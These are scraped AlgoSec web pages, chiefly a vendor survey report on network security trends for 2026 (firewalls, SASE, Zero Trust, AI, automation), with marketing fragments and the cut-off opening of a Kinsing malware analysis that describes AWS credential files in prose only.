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Marking the start of a consolidation era defined by unification, automation, and centralized control State of Network Security 2026 Select a size Which network Can AlgoSec be used for continuous compliance monitoring? Yes, AlgoSec supports continuous compliance monitoring. As organizations adapt their security policies to meet emerging threats and address new vulnerabilities, they must constantly verify these changes against the compliance frameworks they subscribe to. AlgoSec can generate risk assessment reports and conduct internal audits on-demand, allowing compliance officers to monitor compliance performance in real-time. Security professionals can also use AlgoSec to preview and simulate proposed changes to the organization’s security policies. This gives compliance officers a valuable degree of lead-time before planned changes impact regulatory guidelines and allows for continuous real-time monitoring. Executive summary After years of expansion and tool proliferation, 2026 will mark the beginning of a consolidation period defined by unification, automation, and control. As hybrid architectures, AI-driven workloads, and shared operational responsibilities continue to blur the boundaries between security, cloud, and network teams, the focus has shifted from adding tools to simplifying them. Security management solutions are now being evaluated through a much more strategic lens. When respondents were asked to identify the primary driver behind their selection, the dominant theme was control: the ability to unify policies, streamline operations, and reduce the overhead that comes from managing multiple, disconnected systems. Since last year’s report, interest in consolidation and simplification has only intensified. Multi-cloud remains the dominant operating model, but instead of seeking scale and breadth, businesses are prioritizing visibility and control. 55% of companies now select cloud platforms primarily based on security, a trend reinforced by Deloitte’s 2024 findings that security plays a “major role” in cloud investment decisions. Increasingly, every cloud decision is a security decision. AI is reshaping this environment even further. The priority has shifted from pilot to practice, with teams applying AI to practical, low-risk functions such as hybrid network visibility, compliance enforcement, and rule optimization. Across all trends uncovered in this research paper, the unifying thread is consolidation. This reflects an industry moving from fragmentation to cohesion, simplifying technology stacks, standardizing workflows, and building shared accountability across disciplines that once operated separately. Based on insights from 504 security, network, and cloud professionals across 28 countries, this year’s report offers one of the clearest snapshots yet of this transformation. As the network security landscape enters this new period of consolidation and clarity, one message stands out: resilience now depends less on how many tools an organization deploys, and more on how effectively those tools connect technically, operationally, and organizationally. Trend 1: The great firewall rebalance Organizations no longer buy tools solely to check boxes for compliance or to deliver incremental improvements. Instead, they are motivated by the need to regain centralized control in the face of sprawling hybrid architectures and increasingly fragmented policy enforcement. When respondents were asked to identify the primary driver behind their selection, the dominant theme was control: the ability to unify policies, streamline operations, and reduce the overhead that comes from managing multiple, disconnected systems. Performance and cost continue to matter, but they are no longer defining factors with performance and scalability emerging as the top driver at 29.4%. Our findings indicate that organizations are prioritizing platforms that can deliver consistent visibility across hybrid environments, integrate seamlessly with cloud-native services, and support automation at scale. This shift reinforces a broader trend seen throughout the survey – that security teams are consolidating around fewer, more capable management layers that can provide visibility in an increasingly complex network environment. This strategic shift is tied closely to the broader evolution of the firewall itself. As hybrid and multi-cloud architectures continue to expand, the role of the firewall is undergoing its most significant shift in more than a decade. Firewalls remain a critical enforcement point for securing digital assets, but the way enterprises deploy, manage, and evaluate them is changing rapidly. Rather than treating firewalls as isolated perimeter controls, organizations are increasingly viewing them as part of a distributed, policy-driven security environment that must operate consistently across data centers, public clouds, and emerging application environments. This evolution is being driven by the growing complexity of distributed infrastructures and the rising need for unified visibility. With workloads and data now spanning multiple clouds and service layers, security teams are rethinking how firewall capabilities fit into broader governance and automation frameworks. Scalability, interoperability, and centralized orchestration have become as important as raw inspection performance. What’s left is a strategic rebalance, where organizations are demanding more flexibility at the edge, more consistency in the middle, and more visibility at the management layer. Firewall strategies split across three paths This year’s findings report that 30% of respondents plan to expand into multi-vendor environments to maintain flexibility and avoid lock-in, while 24% are actively consolidating. A further 22% intend to maintain their current mix, signaling a period of stabilization after years of expansion. The data suggests that rather than pursuing one path exclusively, enterprises are balancing control and choice, consolidating at the management layer while retaining multi-vendor diversity at the edge. Palo Alto and Fortinet lead a tightening vendor field Vendor preferences in 2026 highlight consolidation in practice. Palo Alto Networks has reclaimed the top position it lost in 2025, with Fortinet rising from fourth to second, showing the appeal of tightly integrated security and networking under one platform. Palo Alto has gone on the record this year stating that consolidating security data into a single platform will avoid redundant ingestion costs and, with the help of AI analytics, make insights available across the entire security stack1 Azure Firewall drops to third as organizations rebalance native integration with cross-cloud interoperability. AWS Firewall and Check Point maintain steady adoption, while GCP enters the ranking – perhaps evidence that, even as the market consolidates, ecosystem “fit” can create room for additional players. Notably, Cisco dropped out of the cloud-firewall list entirely, reflecting a maturing market where nearly all organizations now deploy some form of pure cloud-based firewalling. Top five firewall vendors ranked by enterprise deployment and market shifts Key takeaway Firewall strategy is moving into a more deliberate and balanced phase. Rather than expanding indiscriminately or consolidating outright, organizations are adopting nuanced approaches that blend flexibility with control. Multi-vendor diversity remains valuable at the edge, but consolidation at the management layer is becoming essential for achieving consistent policy enforcement and operational clarity. As hybrid environments grow more complex, the enterprises that succeed will be those that rationalize their footprint without sacrificing the adaptability required in a multi-cloud world. Trend 2: Cloud firewall strategies prioritize consolidation As organizations mature their hybrid and multi-cloud environments, 2026 marks an inflection point in firewall strategy. After several years of vendor diversification, the pendulum is swinging back toward consolidation. Businesses are prioritizing unified visibility, simplified operations, and consistency in policy enforcement across complex, distributed networks. In other words, the focus has shifted from expanding coverage to regaining control – reducing sprawl, streamlining management, and integrating security more deeply into cloud architectures. Cloud firewall adoption solidifies as a strategic standard The move toward cloud-based firewalls continues, but with a change in tone. Rather than experimenting with cloud-native protection, most organizations now view it as essential to enterprise security. 24% of respondents plan to move primarily to cloud firewalls over the next two years, confirming that cloud-native controls are no longer an emerging consideration but a baseline expectation. As hybrid infrastructures become the norm, firewall strategies are being designed to operate seamlessly across both on-premise and cloud environments, enforcing consistent policy without introducing operational complexity. Hybrid control replaces hybrid compromise On the face of it, the emphasis on consolidation might signal a retreat from hybrid operations, but it actually represents a new approach to managing them. The question has simply evolved from, “which firewall secures the cloud,” to “which cloud secures the enterprise?” Firewalls are evolving from perimeter defenses into unified control planes for policy orchestration, compliance, and risk management across all environments. As AI workloads and distributed applications proliferate, organizations are standardizing policy and automating enforcement to prevent drift and maintain continuous compliance. Over the next 2 years, how do you expect your firewall strategy to evolve? Key takeaway The firewall market is consolidating around fewer, more integrated vendors. Palo Alto Networks and Fortinet now anchor the field, with cloud-native solutions firmly mainstream and GCP emerging as a secondary player. The dominant priority for 2026 is control: simplifying management, tightening policy enforcement, and building the unified visibility layer that modern hybrid enterprises depend on for resilience. Trend 3: Security becomes the deciding factor in cloud platform selection The cloud has now confidently become the enterprise control layer, where security, data, and consolidation converge. As organizations mature their multi-cloud strategies, the criteria for choosing providers are shifting. Performance and price remain relevant, but they are no longer decisive. In 2026, the dominant priority will be security, confirming that every cloud decision will indeed be a security decision. The rise of AI-driven workloads, compliance requirements, and cross-platform orchestration has made security the critical benchmark for platform selection. Security leads cloud decision-making According to Gartner, worldwide end-user spending on public cloud services reached $723.4 billion in 2025 (up from $595.7 billion in 2024)². More than half (55%) cited security as their top consideration, far exceeding any other factor. Ecosystem and integrations ranked second at 44%, while AI and data services (42%) followed closely behind. Collectively, this paints a picture of a market driven by protection, compatibility, and intelligence rather than cost. The finding also underscores a broader mindset shift – enterprises are no longer treating cloud as infrastructure, but as the foundation for secure operations. Integration and ecosystem strength outweigh price and performance The emphasis on ecosystem integration reflects how organizations are consolidating around platforms that offer tighter interoperability across security, networking, and data layers. Rather than adopting best-of-breed tools in isolation, businesses are favoring providers that enable unified visibility and shared policy control. This trend echoes the broader consolidation theme observed across firewall and automation data: complexity has reached its limit, and integration has become the differentiator. When selecting a cloud platform, which factor carries the most weight? AI and data services redefine platform value The inclusion of AI and data services among the top selection criteria signals a growing recognition that intelligence is now inseparable from security. Organizations increasingly choose cloud platforms that can support AI-enhanced monitoring, anomaly detection, and compliance analytics within the same environment. The result is a more strategic alignment between where data resides and how it is protected, a shift from infrastructure management to intelligent security orchestration. Consolidation shapes platform strategy These findings also reflect a broader pattern of consolidation across cloud ecosystems. While multi-cloud remains the operational norm, the drivers behind it have changed. Rather than spreading workloads for cost or redundancy, organizations are choosing fewer platforms and using them more deeply, consolidating workloads, policies, and visibility tools to reduce friction. The balance of flexibility and control remains key, but the overall gravitational pull is toward simplification. Consistent policy enforcement overtakes visibility as the top cloud security challenge The findings from the survey show a notable shift in the challenges organizations face when securing cloud applications. For the first time, maintaining consistent policies across on-premise and cloud environments (58.6%) has overtaken lack of visibility into cloud applications (54.3%) as the number-one obstacle. This change reflects the realities of growing tool sprawl and increasingly mixed deployment models. As businesses consolidate platforms and pursue unified control, the problem isn’t identifying what applications exist, but enforcing the right policies for those applications across multiple clouds, networks, and security layers. This also reinforces the broader consolidation narrative, where consistency is key to cloud security. Rank the cloud service providers most used in your organization Key takeaway It would be reasonable to say that cloud strategy and security strategy are now one and the same. With more than half of organizations ranking security as the defining factor in provider selection, this year has cemented the cloud’s role as the enterprise security backbone. The future of multi-cloud will not be decided by speed or scale alone, but by how effectively each platform can deliver integrated protection, data intelligence, and operational clarity across the entire digital estate. Trend 4: SD-WAN further cements its role The enterprise network edge continues to evolve, with SD-WAN now established as a mainstream capability rather than a specialist solution. As organizations expand their hybrid environments and distributed workforces, the demand for secure, high-performance connectivity has solidified SD-WAN’s role as the connective tissue between data centers, clouds, and users. This year’s findings show that the market is maturing: adoption is nearly universal, leadership has reshuffled, and the differentiator is no longer deployment speed but the depth of security integration. SD-WAN adoption reaches maturity For the first time, SD-WAN can be considered standard practice across most enterprise environments. The share of organizations reporting no solution applied has dropped sharply to 21.1%, confirming that SD-WAN has moved beyond early adoption. Businesses increasingly view it as foundational to hybrid and multi-cloud architectures, providing the visibility and policy control that traditional WAN models lacked. The focus now is on consolidating SD-WAN with broader security frameworks to create unified, adaptive network fabrics. Which SD-WAN ( Software-Defined WAN) solutions is your organization using? (select all that apply) Fortinet takes the lead in an increasingly competitive market This year’s results mark a significant milestone: Fortinet (31%) has become the most widely used SD-WAN solution for the first time, reflecting its strength in integrating advanced security and networking under one platform. Cisco (30.7%) remains a close second, leveraging both its Viptela and Meraki offerings to address enterprise and distributed site use cases. VMware (20.7%) and Palo Alto Networks (19.2%) maintain consistent adoption, while Aruba (16.1%) and Versa (13%) continue to serve mid-enterprise and service-provider environments. The data suggests a crowded but stabilizing market, with leadership now determined by convergence rather than coverage. Integration overtakes performance as the new priority While performance and scalability remain important, the defining value of SD-WAN this year will be integration, particularly its ability to operate seamlessly within consolidated security ecosystems. According to Gartner, by the end of 2026, 60% of new SD-WAN purchases will be part of a single-vendor SASE offering, up from 15 % in 2022.³ Organizations are no longer viewing SD-WAN as a stand-alone connectivity layer but as a key component of unified network and security orchestration. This trend is reinforced by the parallel growth of Secure Access Service Edge (SASE), where many SD-WAN platforms now serve as the underlying transport for cloud-delivered security functions. Simplified management drives next-phase adoption As the market matures, ease of management has emerged as a primary differentiator. Enterprises want simplified, policy-based control that extends across both SD-WAN and security operations. Vendors capable of offering single-pane management, covering traffic routing, segmentation, and threat prevention, are gaining a decisive edge. This shift underscores the industry’s pivot from product expansion to platform unification, where value lies in operational simplicity and end-to-end visibility. Key takeaway SD-WAN has transitioned from optional to essential. Adoption is near-universal, and leadership now depends on the depth of integration with security and orchestration platforms. Fortinet has overtaken Cisco to lead the market, signaling that convergence, not performance, is the new metric for success. As enterprises strive to unify their networking and security stacks, SD-WAN’s role as the foundation of hybrid connectivity has never been clearer. Trend 5: SASE moves from exploration to standardization Secure Access Service Edge (SASE) continues its steady progression from a niche innovation to a mainstream framework for unified security and networking. Once viewed primarily as an aspirational goal, SASE is now being operationalized across industries as organizations seek to consolidate connectivity, control, and cloud-delivered protection within a single architecture. This year’s findings show a market that has matured beyond experimentation. Adoption is broadening, vendor leadership is stabilizing, and integration with SD-WAN has become the norm. Non-adoption falls for the third consecutive year For the third year running, the share of organizations without a SASE solution has declined, down to 27.5% from 40% in 2025. This consistent decrease signals that SASE adoption is no longer exploratory but a planned progression for most enterprises. The increasing prominence of SASE is also reflected by Gartner, who estimate that between 2025 and 2028 the market will have a CAGR of 26% and exceed $30 billion by the end of the decade. As hybrid and remote workforces become permanent fixtures, businesses are embedding SASE as the control layer that secures access, governs data movement, and enforces consistent policy across all environments. The technology’s role has shifted from experimental pilot to strategic pillar. Which SASE platform is your organization using? Zscaler and Prisma Access maintain leadership amid growing competition Zscaler (37.8%) remains the market leader in SASE adoption, closely followed by Palo Alto Networks’ Prisma Access (34.4%). Both platforms have consolidated their positions through strong ecosystem partnerships and mature policy integration, particularly across large enterprise deployments. Netskope (21.9%) continues its rapid ascent as the fastest-growing challenger, driven by its focus on data protection and multi-cloud visibility. Smaller providers, including Cato (9.3%), Barracuda (4.7%), and other vendors (5.4%), maintain regional or industry-specific footholds where turnkey simplicity and localized deployment remain priorities. SD-WAN and SASE converge under single-vendor models According to the Dell’Oro Group, single vendor SASE will grow twice as fast as multi-vendor SASE in the next few years5. Organizations increasingly favor single-vendor frameworks that deliver both connectivity and security from the same platform, reducing latency and operational overhead. This reflects the same drive toward consolidation seen across the broader network security landscape to fewer moving parts, shared visibility, and unified control. Last year’s Gartner projection that more than half of SD-WAN purchases will be tied to integrated SASE offerings6 by 2026 appears well on track. In fact, the Dell’Oro Group anticipates single-vendor SASE will make up 90% of the market by the end of the decade. Implementation complexity gives way to operational consistency The challenges that once slowed SASE adoption, such as multi-component integration, legacy dependencies, and management fragmentation, are giving way to more standardized deployment models. Enterprises are learning to phase implementation, layering security and access capabilities without disrupting core connectivity. As policy orchestration becomes more automated and AI-assisted, SASE is evolving from a complex project to an achievable operational baseline for hybrid enterprises. Key takeaway SASE has crossed the threshold from early adoption to normalization. Zscaler and Prisma Access continue to lead, but Netskope’s rapid rise shows that innovation still drives competition. The decline in non-adoption rates confirms that SASE is now the de-facto model for secure, distributed access, valued for its operational simplicity and the consistency it delivers across the modern enterprise network. Trend 6: True zero trust remains elusive Zero Trust remains one of the most discussed principles in cybersecurity, yet one of the slowest to fully materialize in practice. The philosophy of “never trust, always verify” continues to guide strategic planning, but this year’s data reveals that operational progress has stalled. Awareness and intent are high, but implementation maturity has plateaued. Most organizations have laid the groundwork, such as segmentation, identity management, and access control, but few have advanced beyond these initial stages to comprehensive, policy-driven Zero Trust frameworks. Adoption steady, but forward motion limited Overall Zero Trust adoption remains consistent at around 55-60%, nearly identical to last year. However, the share of organizations still in the learning phase has increased from 20% to 31%, indicating that while more enterprises are engaging with the concept, fewer are moving to execution. This highlights a widening gap between intent and implementation, where Zero Trust is now universally recognized as the right approach, but practical deployment continues to challenge even mature security teams. What is your current Zero Trust implementation status? Execution gaps widen as awareness grows The data also shows that increased awareness has not translated into faster rollout. Many enterprises are still navigating legacy infrastructure, fragmented identity systems, and policy enforcement across hybrid networks. Even organizations that have implemented partial Zero Trust measures, such as micro-segmentation or network division, often lack unified governance models. The result is a growing class of “permanently pilot” deployments that are “active,” but not yet integrated or automated. This finding is echoed by Gartner, which revealed that in 2026, only 10 % of large enterprises will have a “mature and measurable” Zero Trust programme in place, up from less than 1 % today7. Fragmented approaches slow standardization The variety of adoption paths available further complicates progress. Some organizations are investing in Zero Trust Network Access (ZTNA) as an entry point, while others prioritize endpoint verification or identity-based access control. This flexibility allows for adaptation but prevents standardization, making it difficult to measure maturity consistently across industries. The absence of a universal framework also leads to uneven tool adoption and inconsistent results, reinforcing the need for clearer guidance and shared benchmarks. Education becomes the critical barrier The rising proportion of organizations still in the learning phase reflects a shortage of accessible best practices and practical guidance. Many teams understand the goal of Zero Trust but struggle to translate it into architectural blueprints or measurable outcomes. Training, governance alignment, and vendor-neutral frameworks are now essential to bridge this gap, ensuring that education accelerates adoption rather than replacing it. Key takeaway Zero Trust remains the strategic north star for enterprise security, but the journey toward full implementation has stalled. Awareness is at an all-time high, yet maturity has barely shifted. This year’s findings highlight an execution gap driven by complexity, fragmented infrastructure, and limited practical guidance. Organizations that focus on education, cross-team alignment, and measurable governance will be best positioned to move Zero Trust from aspiration to operational reality. Trend 7: AI-powered threats and defenses go mainstream Artificial intelligence has become both the newest threat vector and the next frontier of defense. According to McKinsey, phishing attacks have surged by 1200% since generative AI went mainstream in 2022, but at the same time, more than 90% of defensive AI capabilities are being outsourced to third parties – showing that businesses are keen to leverage the technology to defend themselves. That trend will continue in 2026, when the conversation around defensive AI will move beyond theory and into practice. Organizations are no longer asking if AI will change their security posture. Instead they want to know how fast they can adapt. Our findings show that while most enterprises are already taking steps to address AI-powered attacks, only a minority have made the deeper structural and procedural changes needed to counter them effectively. The result is a mixed picture - strong awareness, accelerating experimentation, but uneven readiness. How they are adapting to AI-powered attacks? Most organizations are adapting, but depth of change varies The majority (65%) have already adapted their strategies, with 23.6% making major structural changes and 40.9% implementing moderate adjustments. Surprisingly, only 15.6% reported no action at all. This points to an industry that has accepted the inevitability of AI as both an enabler and an adversary. However, while surface-level adaptations are widespread, the transformation of governance, tooling, and training remains in its early stages. AI investment shifts toward visibility and control This year’s responses mark a sharp contrast to last year. Where last year’s priorities centered on real-time notifications and incident response, this year focus has shifted to AI-powered visibility and risk prioritization (39.1%). Organizations are using AI to map hybrid networks, detect policy drift, and surface anomalies faster. AI-driven compliance and policy enforcement (23.7%) has emerged as the next priority, reflecting growing confidence in machine-led governance for structured, repeatable tasks. In essence, enterprises are applying AI where precision matters more than prediction. Operational hygiene overtakes experimentation While generative AI captured early attention, most organizations are deploying AI to improve operational hygiene rather than innovation. Application-centric security modeling (18.4%) and identification of unused or overly permissive rules (15.8%) rank lower but illustrate a pragmatic trend: using AI to clean up, not reinvent. These controlled, low-risk use cases deliver measurable value while avoiding the unpredictability associated with broader AI automation. The preference for predictability over experimentation signals a cautious but maturing stage of adoption. AI readiness exposes gaps in governance and skills Despite rising adoption, governance and human oversight remain persistent challenges. Many teams lack formal frameworks to validate AI-driven decisions or ensure accountability when automated systems act autonomously. The gap between AI’s technical potential and organizational readiness mirrors the early years of cloud adoption, where enthusiasm outpaced structured implementation. Without parallel investments in training, oversight, and transparent governance, AI-powered defenses risk replicating the same visibility issues they are meant to solve. Which AI cases will have the greatest impact over the next 2 years? Key takeaway AI has become a defining force in network security, driving both threat evolution and defensive transformation. Two-thirds of organizations have already adjusted their strategies, but maturity levels remain uneven. The focus has shifted decisively from detection to visibility, and from experimentation to control. As enterprises refine their governance frameworks and strengthen human oversight, AI will transition from a reactive tool to an operational cornerstone, turning awareness into measurable resilience. Trend 8: Automation maturity continues What began as a gradual shift toward orchestration and policy simplification in previous years has now become a defining operational capability. Our research confirms that automation has matured into a measurable discipline that directly influences efficiency, compliance, and resilience across hybrid networks. Yet while the benefits are increasingly clear, full-scale orchestration across environments remains a work in progress. Automation becomes a measurable benchmark The results show a clear divide: 24% of organizations now operate at a high level of automation, while 30% report moderate automation. Twenty-six percent remain at a low level, and 20% still rely primarily on manual processes. This sprawl validates last year’s prediction that automation would become foundational to network security. It also underscores the persistence of a maturity gap between those leveraging automation strategically and those applying it reactively to reduce workloads. From process acceleration to policy assurance Beyond accelerating workflows, organizations are now using automation to enforce security policy consistently across hybrid environments. This includes automated risk analysis, change verification, and compliance tracking - all areas once dominated by manual oversight. By shifting from speed to assurance, automation has become central to maintaining reliability and reducing configuration drift, particularly in multi-vendor or multi-cloud architectures where consistency is hardest to achieve. How would you describe your organization’s current level of automation in network security management? Operational and cultural barriers persist Despite progress, barriers remain. Many organizations struggle to extend automation across silos, particularly between cloud, network, and application security teams. Legacy approval processes, lack of centralized governance, and limited cross-tool integration continue to restrict scalability. This has resulted in “partial” automation, where specific workflows are automated, but end-to-end orchestration across systems and teams remains difficult to pin down. This mirrors the early adoption curve we saw in cloud migration – progress being built through incremental cultural and procedural change rather than technology alone. A proving ground for AI-enhanced orchestration The intersection between automation and AI is emerging as the next frontier. AI-assisted orchestration tools are beginning to optimize rule management, recommend policy changes, and predict the downstream impact of configuration updates. However, confidence in fully autonomous decision-making remains low. For now, organizations are embracing a human-in-the-loop model, where automation handles execution while humans retain control of validation and governance. This balance is shaping a pragmatic, risk-conscious approach to automation at scale. Key takeaway Automation has evolved from a strategic ambition into an operational benchmark. Nearly half of all organizations now operate with moderate to high levels of automation, validating its role as a core pillar of network security. Yet maturity remains uneven, with cultural inertia and fragmented governance slowing progress. The next leap will come from convergence and uniting automated workflows, AI-assisted orchestration, and unified policy management to deliver the end-to-end agility and assurance enterprises have long aimed for. Trend 9: Consolidation - teams and platforms move toward unified control As hybrid environments expand and the boundaries between cloud, network, and security responsibilities continue to blur, businesses are rethinking not only what they manage but how they manage it. Our findings reveal an industry shifting toward shared accountability, unified visibility, and integrated control. Consolidation is happening at two levels: teams and platforms, and both are accelerating. Team structures shift toward shared ownership The operational model for security is undergoing a quiet but significant transformation. Organizations are moving away from isolated, domain-specific teams and toward structures that promote shared priorities and cross-functional coordination. The findings show that only 19% are currently working in siloed departments, while 36% of respondents report that their cloud, network, and security teams have consolidated around shared tools. A further 25% of respondents have aligned around shared initiatives and 20% have gone further, operating as fully consolidated teams. This represents a substantial step toward unified governance. Instead of managing separate workflows or conflicting priorities, teams are aligning around common frameworks for risk, compliance, and service delivery. As AI and automation become more embedded in operations, this collaborative approach is emerging as the new standard for effective decision-making and consistent policy enforcement. Shared tools become the foundation for cross-team alignment The rise of shared tooling reflects a deliberate move toward standardization. When cloud, network, and security teams use different systems, visibility fractures and operational gaps appear. But when they converge around shared management layers and shared data sources, collaboration becomes frictionless. This year’s results show that shared tools are now the primary mechanism for team alignment, which is the strongest sign yet that consolidation is being built from the ground up through day-to-day operational workflows rather than top-down restructuring. How would you best describe the current alignment of cloud & network security teams? Platform consolidation accelerates as organizations seek While team structures are converging, platform consolidation is accelerating even faster. According to our findings, 75% of organizations have consolidated at least some portion of their security tools or policies under a single platform of management layer. While team structures are converging, platform consolidation is accelerating even faster. According to the 2026 findings, 75% of organizations have consolidated at least some portion of their security tools or policies under a single platform or management layer. Around 30% report partial consolidation, 19% say the majority of their infrastructure now sits under one platform, and 10% have achieved full consolidation. Only a quarter still operate with fragmented tooling. What percentage of your cloud and network security tools are currently consolidated under a single platform or policy engine? This reflects a broader desire for unified visibility and simplified operations. As hybrid and multi-cloud deployments grow in scale, point solutions are becoming operationally burdensome. Organizations increasingly want fewer dashboards, fewer approval workflows, and fewer interfaces to manage, instead preferring integrated platforms that are capable of enforcing policy consistently across environments. Key takeaway Consolidation is redefining how enterprises operate, both structurally and technologically. Teams are aligning around shared tools, shared responsibilities, and, increasingly, shared governance models. At the same time, platforms are consolidating to provide unified visibility and consistent policy enforcement across hybrid environments. Conclusion The state of network security this year is defined by clarity emerging from complexity. After several years of rapid expansion across multi-cloud environments, AI-powered operations, and hybrid architectures, organizations are entering a new phase of consolidation and control. Our survey findings reveal a collective recalibration, with organizations moving away from tool proliferation toward unified management, shared visibility, and measurable automation. Firewalls, SD-WAN, and SASE have all evolved into foundational pillars of a more cohesive network security stack, while Zero Trust and AI continue to mature, bridging the gap between strategy and execution. Compared to last year, we are now seeing a transition from experimentation to optimization. Where last year’s findings reflected a market still expanding in every direction, this year captures a shift toward simplification. The drive for flexibility has given way to the pursuit of consistency, where performance metrics are being replaced by governance and assurance benchmarks. Consolidation of vendors, tools, and even teams, now defines the path forward. Adding layers of protection is not enough – those layers need to operate cohesively. Looking ahead, the next generation of network security will hinge on visibility, automation, and collaboration, not as separate initiatives, but as integrated capabilities that span every layer of the digital ecosystem. For an industry that has long been dominated by complexity and a “more is better” approach, the next year might be quite surprising. As organizations continue to align their cloud, network, and security teams, the most resilient will be those that embrace simplicity rather than complexity, transforming control into confidence. Methodology This report is based on comprehensive research conducted by AlgoSec, gathering insights from security, network, and cloud professionals across a broad range of industries and regions. The data was collected through a global survey carried out in the second half of 2025, designed to capture real-world perspectives on the challenges, priorities, and evolving trends shaping network security in 2026. Survey scope and participants The study reflects responses from 504 professionals representing 28 countries. Participants span a diverse set of roles, including security architects, engineers, and analysts (25%); IT and network managers (21%); CISOs and heads of security (13%); consultants and specialists (9%); CTOs, CIOs, and senior IT leaders (6%); business, program, and product managers (7%); DevOps, cloud, and software professionals (8%); and other or undefined roles (11%). This broad representation ensures a balanced view across enterprise, mid-market, and specialist organizations operating within hybrid and multi-cloud environments. Research objectives The primary goal of this study was to identify key trends and shifts in network security practice, from strategic priorities to operational realities. The research explores: How organizations are consolidating security management across hybrid and multi-cloud architectures The evolving role of automation, orchestration, and AI-driven security in modern frameworks Adoption trends across firewalls, SD-WAN, SASE, and Zero Trust architectures The impact of consolidation on tool selection, team alignment, and visibility How enterprises are adapting to AI-powered threats and increasing operational complexity Data collection and analysis Participants were asked to provide both quantitative and qualitative feedback on their current deployments, planned investments, and primary challenges in managing network security infrastructure. The survey established new baselines in several areas, including AI-powered attack readiness, automation maturity, and consolidation of tools and teams, while tracking multi-year trends from previous editions of the research. Responses were analyzed to identify correlations, emerging patterns, and year-over-year changes in market behavior. By leveraging direct insights from practitioners and decision-makers, this study provides an objective, vendor-neutral snapshot of the global network security landscape. Its findings are intended to help organizations benchmark their progress, assess market maturity, and make informed decisions as they navigate the next stage of digital transformation. About AlgoSec AlgoSec, a global cybersecurity leader, empowers organizations to securely accelerate application delivery up to 10 times faster by automating application connectivity and security policy across the hybrid network environment. With two decades of expertise securing hybrid networks, over 2200 of the world’s most complex organizations trust AlgoSec to help secure their most critical workloads. AlgoSec Horizon platform utilizes advanced AI capabilities, enabling users to automatically discover and identify their business applications across multi-clouds, and remediate risks more effectively. It serves as a single source for visibility into security and compliance issues across the hybrid network environment, to ensure ongoing adherence to internet security standards, industry, and internal regulations. Additionally, organizations can leverage intelligent change automation to streamline security change processes, thus improving security and agility. Learn how AlgoSec enables application owners, information security experts, SecOps and cloud security teams to deploy business applications faster while maintaining security at www.algosec.com . For more information, visit www.algosec.com Get the latest insights from the experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... 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An application-centric approach to firewall rule recertification: Challenges and benefits Download PDF Download PDF Add a Title Add a Title Add a Title Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue Talk to a Skybox transition expert. Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Learn best practices to secure your cloud environment and deliver applications securely Webinars 5 Tips for Securing your Multi-Cloud Environment As more organizations embrace hybrid workplaces, multi-cloud environments have become a popular way to deliver resource availability. Still, this development has not been without security concerns. As most breaches are the fault of human error, the most effective way to protect your multi-cloud environment is by training your team to implement best practices designed to minimize risk and deliver applications securely. In this webinar, we’ll cover 5 easy tips that will help you secure your multi-cloud environment. October 12, 2022 Ava Chawla Global Head of Cloud Security Jacqueline Basil Product Marketing Manager Relevant resources 6 must-dos to secure the hybrid cloud Read Document 5 things you didn’t know you could do with a security policy management solution Keep Reading A Pragmatic Approach to Network Security Across Your Hybrid Cloud Environment Keep Reading Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Defining & Enforcing a Micro-segmentation Strategy Download PDF Download PDF Add a Title Add a Title Add a Title Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue Talk to a Skybox transition expert. Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

DevOps security connectivity management allows for better cooperation between security DevOps Use AlgoSec to ensure secure, compliant development environments Click here for more! Optimizing DevOps: Enhanced release quality and faster time-to-market Select a size Which network Can AlgoSec be used for continuous compliance monitoring? Yes, AlgoSec supports continuous compliance monitoring. As organizations adapt their security policies to meet emerging threats and address new vulnerabilities, they must constantly verify these changes against the compliance frameworks they subscribe to. AlgoSec can generate risk assessment reports and conduct internal audits on-demand, allowing compliance officers to monitor compliance performance in real-time. Security professionals can also use AlgoSec to preview and simulate proposed changes to the organization’s security policies. This gives compliance officers a valuable degree of lead-time before planned changes impact regulatory guidelines and allows for continuous real-time monitoring. What is DevOps security management? Key pain points in securing your CI/CD pipeline Streamlined security, compliance, and faster deployments Speeds up application delivery without compromising security Empower your DevOps workflow with seamless connectivity integration Lock down container security with smart threat management Key benefits of using AlgoSec Get the latest insights from the experts DevOpsifying Network Security Watch video Integrate Security Into DevOps for Faster, Safer Application Delivery Into Production Read document Best Practices for Incorporating Security Automation into the DevOps Lifecycle Watch video Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an... Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these 